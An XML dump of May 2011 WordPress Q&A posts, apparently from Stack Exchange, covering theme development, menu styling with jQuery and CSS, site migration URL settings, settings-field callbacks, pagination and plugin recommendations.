  <row Id="17694" PostTypeId="2" ParentId="17662" CreationDate="2011-05-19T15:02:59.157" Score="1" ViewCount="" Body="&lt;p&gt;I'd try something simple, before messing around with an endless sea of possibilites/hosting setups: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$target = 'wherever';&#xA;wp_mkdir_p( $target );&#xA;&#xA;if ( wp_mkdir_p( $target ) === TRUE )&#xA;{&#xA;    echo &quot;Folder $target successfully created&quot;;&#xA;}&#xA;else&#xA;{&#xA;    new WP_Error; #... etc. Just tell where the user has to make a new folder with the name xy&#xA;    // or if you're kool, you use _doing_it_wrong(); ... ;-)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-19T15:02:59.157" CommentCount="3" />
  <row Id="17695" PostTypeId="2" ParentId="17668" CreationDate="2011-05-19T15:30:28.483" Score="0" ViewCount="" Body="&lt;p&gt;I've went to those two links you put there and it doesn't require me to log in. &lt;/p&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-05-19T17:04:53.770" LastActivityDate="2011-05-19T17:04:53.770" CommentCount="3" />
  <row Id="17696" PostTypeId="2" ParentId="17662" CreationDate="2011-05-19T15:34:59.223" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp-content/uploads/&lt;/code&gt; should be writable for the server (otherwise it would be impossible to upload a file, no?). If you are going to create something under this directory, it is safe to use &lt;code&gt;wp_mkdir_p()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would only use &lt;code&gt;WP_Filesystem&lt;/code&gt; if there is a chance the server does not have permissions to write to the location, like in &lt;code&gt;wp-content/plugins/&lt;/code&gt;, which does not have to be writable for the server (at least I think it doesn't have to be?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidenote: &lt;a href=&quot;http://codex.wordpress.org/Changing_File_Permissions&quot; rel=&quot;nofollow&quot;&gt;The File Permissions page of the Codex&lt;/a&gt; also talks about a &lt;code&gt;wp-content/cache/&lt;/code&gt; directory. Would this be a &quot;more standard&quot; location for cache files?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T15:34:59.223" CommentCount="1" />
  <row Id="17697" PostTypeId="1" AcceptedAnswerId="17701" CreationDate="2011-05-19T15:43:39.783" Score="2" ViewCount="79" Body="&lt;p&gt;I've placed the following code in my functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!is_home()){ echo &quot;Not Home&quot;;}&#xA;if(is_home()){ echo &quot;Home&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, no matter what page I'm on, I get &quot;Not Home&quot;, And I'm real sure I'm on the home page, but still get &quot;Not Home&quot;. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-19T16:03:05.933" Title="is_home() returns false on the home page! When is the home page NOT the home page?" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="17699" PostTypeId="1" CreationDate="2011-05-19T16:01:12.970" Score="0" ViewCount="116" Body="&lt;p&gt;Does anyone know of good donation solutions? I'm looking for something that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will allow me to set up multiple causes/donation widgets within my Wordpress site;&lt;/li&gt;&#xA;&lt;li&gt;Will allow me to insert donation widgets within posts;&lt;/li&gt;&#xA;&lt;li&gt;Will have a progress bar;&lt;/li&gt;&#xA;&lt;li&gt;Is customizable, so I can make it match my theme; or at least is aesthetically pleasing or modern; and&lt;/li&gt;&#xA;&lt;li&gt;Will have some sort of system for helping to manage donors; or at least will connect with PayPal.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5512" LastActivityDate="2011-08-18T13:26:32.030" Title="Looking for good donation plugins/widgets/options" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;paypal&gt;" AnswerCount="2" />
  <row Id="17700" PostTypeId="1" AcceptedAnswerId="17702" CreationDate="2011-05-19T16:01:18.443" Score="0" ViewCount="99" Body="&lt;p&gt;I have the following code generated by wordpress for my nav1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;nav1&quot;&amp;gt;&#xA;&amp;lt;ul class=&quot;menusm&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;page_item page-item-6&quot;&amp;gt;&amp;lt;a title=&quot;Inicio&quot; href=&quot;http://localhost/road/&quot; class=&quot;top_level&quot;&amp;gt;Inicio&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;page_item page-item-11&quot;&amp;gt;&amp;lt;a title=&quot;Quienes Somos&quot; href=&quot;http://localhost/road/quienes-somos&quot; class=&quot;top_level&quot;&amp;gt;Quienes Somos&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;page_item page-item-13&quot;&amp;gt;&amp;lt;a title=&quot;Servicios&quot; href=&quot;http://localhost/road/servicios&quot; class=&quot;top_level&quot;&amp;gt;Servicios&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul class=&quot;children&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;page_item page-item-25&quot;&amp;gt;&amp;lt;a title=&quot;Inteligencia&quot; href=&quot;http://localhost/road/servicios/inteligencia&quot; class=&quot;&quot;&amp;gt;Inteligencia&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;page_item page-item-27&quot;&amp;gt;&amp;lt;a title=&quot;Personal, Equipos, Armamentos&quot; href=&quot;http://localhost/road/servicios/personal-equipos-armamentos&quot; class=&quot;&quot;&amp;gt;Personal, Equipos, Armamentos&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;page_item page-item-22&quot;&amp;gt;&amp;lt;a title=&quot;Seguridad Operativa&quot; href=&quot;http://localhost/road/servicios/seguridad-operativa&quot; class=&quot;&quot;&amp;gt;Seguridad Operativa&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;page_item page-item-17&quot;&amp;gt;&amp;lt;a title=&quot;Contacto&quot; href=&quot;http://localhost/road/contacto&quot; class=&quot;top_level&quot;&amp;gt;Contacto&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;page_item page-item-37 current_page_item&quot;&amp;gt;&amp;lt;a title=&quot;Cotice su stand en ferias&quot; href=&quot;http://localhost/road/pedir-cotizacion&quot; class=&quot;top_level&quot;&amp;gt;Cotice su stand en ferias&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I would like the last &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tag under the title of &quot;Cotice su stand en ferias&quot; to use a button instead of text as the rest of the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;'s. Is there a way to accomplish this without having to completely remove that item and placing a button next to the &lt;code&gt;#nav1&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: got it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#nav1 ul li:last-child {background: url(images/cotizacion-icono.jpg) no-repeat scroll;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5057" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-19T16:58:34.487" LastActivityDate="2011-05-19T16:58:34.487" Title="Page menu with one image link instead of page title?" Tags="&lt;page-menus&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="17701" PostTypeId="2" ParentId="17697" CreationDate="2011-05-19T16:03:05.933" Score="3" ViewCount="" Body="&lt;p&gt;If you just place it in &lt;code&gt;functions.php&lt;/code&gt;, not in a function in &lt;code&gt;functions.php&lt;/code&gt;, it will be called too early. WordPress includes &lt;code&gt;functions.php&lt;/code&gt; before it parses the URL and determines whether you are actually on the homepage or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since WordPress 3.1 &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15824&quot; rel=&quot;nofollow&quot;&gt;there is an extra warning&lt;/a&gt; (only visibile if you enable &lt;code&gt;WP_DEBUG&lt;/code&gt;) if you call these too early, to prevent these confusing situations.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T16:03:05.933" CommentCount="1" />
  <row Id="17702" PostTypeId="2" ParentId="17700" CreationDate="2011-05-19T16:05:10.233" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;jQuery Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you're using jQuery you can use: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var $li = jQuery('ul &amp;gt; li:last-child','#nav1');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to select your last menu child.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then after you select it you can chain it with another function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$li.wrapInner('&amp;lt;input type=&quot;button&quot; value=&quot;My Button!&quot;&amp;gt;');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then all together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;   // Cache your selection&#xA;   var $li = jQuery('ul &amp;gt; li:last-child','#nav1');&#xA;   // Replace it with your button&#xA;   $li.wrapInner('&amp;lt;input type=&quot;button&quot; value=&quot;My Button!&quot;&amp;gt;');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pure CSS Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup your dropdown navigation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'sort_column' =&amp;gt; 'menu_order, post_title',&#xA;    'menu_class'  =&amp;gt; 'menu',&#xA;    'include'     =&amp;gt; '',&#xA;    'exclude'     =&amp;gt; '',&#xA;    'echo'        =&amp;gt; true,&#xA;    'show_home'   =&amp;gt; false,&#xA;    'link_before' =&amp;gt; '&amp;lt;span&amp;gt;', // Wrap your span here&#xA;    'link_after'  =&amp;gt; '&amp;lt;/span&amp;gt;' ); // close it with a span too&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-05-19T16:33:24.780" LastActivityDate="2011-05-19T16:33:24.780" CommentCount="7" />
  <row Id="17703" PostTypeId="2" ParentId="17700" CreationDate="2011-05-19T16:19:46.227" Score="0" ViewCount="" Body="&lt;p&gt;Using jQuery you could do &lt;a href=&quot;http://jsfiddle.net/ZDGmJ/1/&quot; rel=&quot;nofollow&quot;&gt;something like this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#nav1').find('&amp;gt; ul &amp;gt; li:last-child a').wrapInner('&amp;lt;button/&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, going for &lt;a href=&quot;http://mezzoblue.com/archives/2008/09/17/anchor_butto/&quot; rel=&quot;nofollow&quot;&gt;pure CSS&lt;/a&gt; seems like the cleaner way to go. Using &lt;code&gt;border-radius&lt;/code&gt; you can easily apply a button look to a regular anchor.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-19T16:19:46.227" CommentCount="1" />
  <row Id="17704" PostTypeId="1" AcceptedAnswerId="17706" CreationDate="2011-05-19T16:20:28.597" Score="1" ViewCount="84" Body="&lt;p&gt;I am working on a new version our site. Today I was going to put the blog on the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our current website and the successor I am building are on different servers and accessed by different domain names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I did was import the database the blog uses into the dev site. Then I copied all the files and put them on the dev site. On the dev site I went to /blog/wp-admin and I changed the general settings so the blog URL would use the dev domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made &lt;strong&gt;NO CHANGES&lt;/strong&gt; on the current production website server. However the current production website's blog is now broken. When I go to blog/wp-admin on the real site, the form posts to the dev server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to log into wordpress on either the dev or production site now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not understand how I could break anything on the production server by making changes on a completely separate server that is unrelated to the production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my main goals now are to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Restore the blog on production&#xA;server (undo the changes I made&#xA;today) and get it working again&#xA;right away.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Figure out what I did wrong so I can&#xA;put the blog on the production&#xA;server.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2011-05-19T17:19:04.117" Title="Copying wordpress to another server breaks it on original server" Tags="&lt;migration&gt;&lt;troubleshooting&gt;" AnswerCount="3" />
  <row Id="17705" PostTypeId="2" ParentId="17700" CreationDate="2011-05-19T16:24:30.417" Score="1" ViewCount="" Body="&lt;p&gt;If you use the new custom navigation menu functionality added in WordPress 3.0, you can use straight HTML in the &lt;em&gt;Navigation label&lt;/em&gt; box. So it's no problem to write the image code there instead of the regular title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/QV47U.png&quot; alt=&quot;Menu admin page with HTML code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/q20Kz.png&quot; alt=&quot;Front page menu with image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-19T16:48:16.630" LastActivityDate="2011-05-19T16:48:16.630" CommentCount="4" />
  <row Id="17706" PostTypeId="2" ParentId="17704" CreationDate="2011-05-19T16:26:41.227" Score="3" ViewCount="" Body="&lt;p&gt;If you didn't hand-change the wpurl in the dev database, what probably happened is that you entered your url, and WP made a 301 redirect to the live site. Then, without realizing it, you changed the url config in your live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this in your wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_SITEURL', 'http://your-wp-url.com');&#xA;define('WP_HOME', 'http://your-wp-url.com'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do it.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-19T16:26:41.227" />
  <row Id="17707" PostTypeId="2" ParentId="17699" CreationDate="2011-05-19T16:29:21.320" Score="0" ViewCount="" Body="&lt;p&gt;More features, but not receiving updates in a long time:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maintained today:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/paypal-donations/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/paypal-donations/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-19T16:29:21.320" />
  <row Id="17708" PostTypeId="2" ParentId="17704" CreationDate="2011-05-19T16:36:15.840" Score="1" ViewCount="" Body="&lt;p&gt;When migrating you need to change all references of the previous domain in the database. I recommend using the migrate db plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-migrate-db/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-migrate-db/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as Daniels Advice to modify the WP_SITEURL, WP_HOME constants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you finally can login again. I recommend if you had permalinks turned on to turn them off and then on again. This will clear the .htaccess file and rewrite it to the correct settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally. Please remember to backup your database before you migrate. You probably have already done that!&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-05-19T16:36:15.840" />
  <row Id="17709" PostTypeId="1" CreationDate="2011-05-19T16:46:34.783" Score="2" ViewCount="132" Body="&lt;p&gt;I would like to be able to change the text on the Log In button in wp-login.php - however, it's a bit more complicated than that. I want to be able to change it in the theme, rather than editing the core file directly, so that&#xA;a) It doesn’t get overwritten when WordPress updates, and &#xA;b) It'll transfer over if I distribute my theme at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if that's possible. All I can find on the internet is how to change the CSS of the login page, not the actual HTML/PHP.&lt;/p&gt;&#xA;" OwnerUserId="5514" LastActivityDate="2011-07-29T07:33:15.880" Title="Change the login button on the login page" Tags="&lt;customization&gt;&lt;login&gt;&lt;core&gt;" AnswerCount="4" />
  <row Id="17710" PostTypeId="1" AcceptedAnswerId="17713" CreationDate="2011-05-19T16:47:08.073" Score="2" ViewCount="112" Body="&lt;p&gt;I'm trying to create a rather large and extensive settings page with various options of very similar type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there will be about 20 different fields, and the differences between most of those being simply their ID, I'd like to avoid creating a separate callback for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make a callback with a variable for the settings ID of each of these fields? That way one callback can server various settings fields of the same type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the $args parameter for add_setitngs_feild(), but sadly, it does not work. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_settings_field('name', 'Field Name', array($this, 'fieldCallback'), 'SettingsGrouP', 'SettingsSection', array(&quot;settingID!&quot;)); &#xA;&#xA;&#xA;function fieldCallback($id)&#xA;{&#xA;    echo &quot;&amp;lt;input id='&quot; . $id . &quot;'/&amp;gt;&quot;;//etc, etc&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fieldCallback si being called, but the ID of the input is blank.&lt;/p&gt;&#xA;" OwnerUserId="5513" LastEditorUserId="5513" LastEditorDisplayName="" LastEditDate="2011-05-19T19:21:24.260" LastActivityDate="2011-05-19T19:21:24.260" Title="Add_settings_field() parameterizing callback?" Tags="&lt;settings&gt;&lt;callbacks&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17711" PostTypeId="2" ParentId="17709" CreationDate="2011-05-19T16:50:43.977" Score="0" ViewCount="" Body="&lt;p&gt;Just replace &quot;login&quot; button with an image in logins.css&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-05-19T16:50:43.977" />
  <row Id="17713" PostTypeId="2" ParentId="17710" CreationDate="2011-05-19T17:03:05.080" Score="2" ViewCount="" Body="&lt;p&gt;The last optional &lt;code&gt;$args&lt;/code&gt; argument the you can pass to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/17710/add-settings-field-parameterizing-callback&quot;&gt;&lt;code&gt;add_settings_fields()&lt;/code&gt;&lt;/a&gt; is passed to callback. So it seems you can use same callback just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I am right because I just stumbled onto this two minutes ago because of discussion in chat. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS looked through code and it's indeed relatively recent, before ~2.9 arguments weren't passed.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-19T17:03:05.080" CommentCount="6" />
  <row Id="17714" PostTypeId="2" ParentId="17704" CreationDate="2011-05-19T17:19:04.117" Score="2" ViewCount="" Body="&lt;p&gt;After you moved the database to new hosting server, go to the wp_options table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see the row of that table. you can see this &lt;strong&gt;siteurl&lt;/strong&gt; -&gt; &lt;a href=&quot;http://domain.com&quot; rel=&quot;nofollow&quot;&gt;http://domain.com&lt;/a&gt; (old domain). change to new domain url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the row number 37 with option_id = 37. Here you can see the &lt;strong&gt;home&lt;/strong&gt; -&gt; &lt;a href=&quot;http://domain.com&quot; rel=&quot;nofollow&quot;&gt;http://domain.com&lt;/a&gt; (old domain). change to new domain url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to the site and see. Your site working!!!!!!&lt;/p&gt;&#xA;" OwnerUserId="5515" LastActivityDate="2011-05-19T17:19:04.117" />
  <row Id="17715" PostTypeId="1" CreationDate="2011-05-19T03:52:19.850" Score="3" ViewCount="61" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10036/sort-plugins-by-rating&quot;&gt;Sort plugins by rating&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Just curious if anyone knows of a plugin or a way to add sorting for Plugin searches in the Administration of a Wordpress site. I find myself searching through all kinds of plugins, ultimately just wanting to see what has the best rating or highest number of downloads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind of surprised Wordpress hasn't added this feature already. Anyone know of a fix?&lt;/p&gt;&#xA;" OwnerUserId="5551" LastEditorUserId="183" LastEditorDisplayName="" LastEditDate="2011-05-19T17:59:32.757" LastActivityDate="2011-05-23T17:19:47.610" ClosedDate="2011-05-26T19:41:43.757" Title="Plugin search sorting for admin section - Wordpress" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="17716" PostTypeId="2" ParentId="15128" CreationDate="2011-05-19T17:46:08.007" Score="2" ViewCount="" Body="&lt;p&gt;There are two main ways to do this: either you create a complete iPhone application, written in Objective-C, that gets data from your blog via an API. This can be regular RSS feeds, XML-RPC or a completely custom solution. Be prepared for a lot of development in both Objective-C and PHP (because your API should be secure of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to use or develop &lt;a href=&quot;http://wordpress.stackexchange.com/questions/77/how-do-i-make-my-blog-ipad-iphone-android-friendly&quot;&gt;a mobile-optimized theme&lt;/a&gt;, with extra tricks to get more integration with the device, like GavinR hinted. This is much simpler, but won't offer everything that a custom application can (no offline access, for example).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T17:46:08.007" />
  <row Id="17717" PostTypeId="1" AcceptedAnswerId="17721" CreationDate="2011-05-19T17:49:34.700" Score="0" ViewCount="79" Body="&lt;p&gt;The code below is the function for pagination in my wordpress blog. Presently it outputs 7 pages and then the .. last page number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reduce this number so it shows only 5 pages and then ... last page number?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function emm_paginate_loop($start, $max, $page = 0) {&#xA;    $output = &quot;&quot;;&#xA;    for ($i = $start; $i &amp;lt;= $max; $i++) {&#xA;        $output .= ($page === intval($i)) &#xA;            ? &quot;&amp;lt;span class='emm-page emm-current'&amp;gt;$i&amp;lt;/span&amp;gt;&quot; &#xA;            : &quot;&amp;lt;a href='&quot; . get_pagenum_link($i) . &quot;' class='emm-page'&amp;gt;$i&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-19T19:27:01.633" Title="How to reduce the number of pages in pagination" Tags="&lt;pagination&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="17718" PostTypeId="1" CreationDate="2011-05-19T13:50:18.720" Score="2" ViewCount="121" Body="&lt;p&gt;I'm looking for a plugin for wordpress 3 that will allow me to setup a suggestion page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll post a question or idea at the top, and then users can post thier suggestions in the comments. then other users can vote for the best suggestions, and comments get sorted by the number of votes they get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm thinking of something sort of like the way the digg dialogg system would work, where the best 10 questions would get voted up from the bottom and get used in the show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some hunting around and couldn't find anything quite like it. If anyone could point me in the right direction that would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" LastEditorUserId="183" LastEditorDisplayName="" LastEditDate="2011-05-19T17:59:20.573" LastActivityDate="2011-08-20T05:32:31.600" Title="Suggestion and Voting Plugin for Wordpress" Tags="&lt;plugins&gt;" AnswerCount="3" />
  <row Id="17719" PostTypeId="1" AcceptedAnswerId="22605" CreationDate="2011-05-19T18:19:06.743" Score="4" ViewCount="130" Body="&lt;p&gt;I need to know is it possible to somehow erase the original image uploaded via Gravity form : post image - post field?! With the situation now I receive 4 images. 1 original (can be whatever user has on his PC - up to 4 MB which clutters the server) and 3 which Wordpress creates according to specifications (thumbnail, medium, large). I would like to have the ability when user uploads the &quot;original big image&quot; to be deleted upon upload and be left with 3 remaining in media gallery?!. It will dramatically improve the storage on my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="5499" LastActivityDate="2011-07-11T10:03:12.450" Title="Delete the original big size image after upload and leave only 3 images crunched by media gallery" Tags="&lt;posts&gt;&lt;image&gt;&lt;plugin-gravity-forms&gt;" AnswerCount="1" />
  <row Id="17720" PostTypeId="2" ParentId="16676" CreationDate="2011-05-19T18:27:44.927" Score="0" ViewCount="" Body="&lt;p&gt;@ Andycap Thats exactly what i am looking for. but somehow it doesn't work for me. I am pretty shure that i am doing something wrong. Can you explain where exactly to put the code in the functions.php and the comments.php. do i have to add your code or replace it?&lt;/p&gt;&#xA;" OwnerUserId="5518" LastActivityDate="2011-05-19T18:27:44.927" CommentCount="4" />
  <row Id="17721" PostTypeId="2" ParentId="17717" CreationDate="2011-05-19T18:31:52.430" Score="0" ViewCount="" Body="&lt;p&gt;I believe you're using 2 custom functions one of them is emm_paginate_loop() you're showing. But i saw that settings for that custom pagination is on function emm_paginate() and specifically &quot;gap&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;'gap' - Default is 3 (int). The minimum number of pages before a gap is &#xA;        replaced with ellipses (...).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But that only sets a minimum number...&lt;/p&gt;&#xA;" OwnerUserId="5266" LastActivityDate="2011-05-19T18:31:52.430" />
  <row Id="17722" PostTypeId="2" ParentId="17717" CreationDate="2011-05-19T18:37:48.103" Score="0" ViewCount="" Body="&lt;p&gt;I think you'd be better off using a plugin for this. &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-paginate/&quot; rel=&quot;nofollow&quot;&gt;WP-Paginate&lt;/a&gt; gives you this option along with other options that might be useful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;br /&gt;&#xA;Since a plugin isn't advisable for a mobile site, maybe you could add &lt;code&gt;$range = 5&lt;/code&gt; to the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function emm_paginate_loop($start, $max, $page = 0, $range = 5) {&#xA;    $output = &quot;&quot;;&#xA;    for ($i = $start; $i &amp;lt;= $max; $i++) {&#xA;        $output .= ($page === intval($i)) &#xA;            ? &quot;&amp;lt;span class='emm-page emm-current'&amp;gt;$i&amp;lt;/span&amp;gt;&quot; &#xA;            : &quot;&amp;lt;a href='&quot; . get_pagenum_link($i) . &quot;' class='emm-page'&amp;gt;$i&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5295" LastEditorUserId="5295" LastEditorDisplayName="" LastEditDate="2011-05-19T19:27:01.633" LastActivityDate="2011-05-19T19:27:01.633" CommentCount="3" />
  <row Id="17723" PostTypeId="1" AcceptedAnswerId="17731" CreationDate="2011-05-19T18:38:32.223" Score="1" ViewCount="121" Body="&lt;p&gt;I want to add some custom fields to allow a user to select items from the Media library for the custom post (in the add/edit view)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="3976" LastActivityDate="2011-05-19T20:32:49.287" Title="How do I add media to a custom post type?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;media-library&gt;" AnswerCount="1" FavoriteCount="2" />
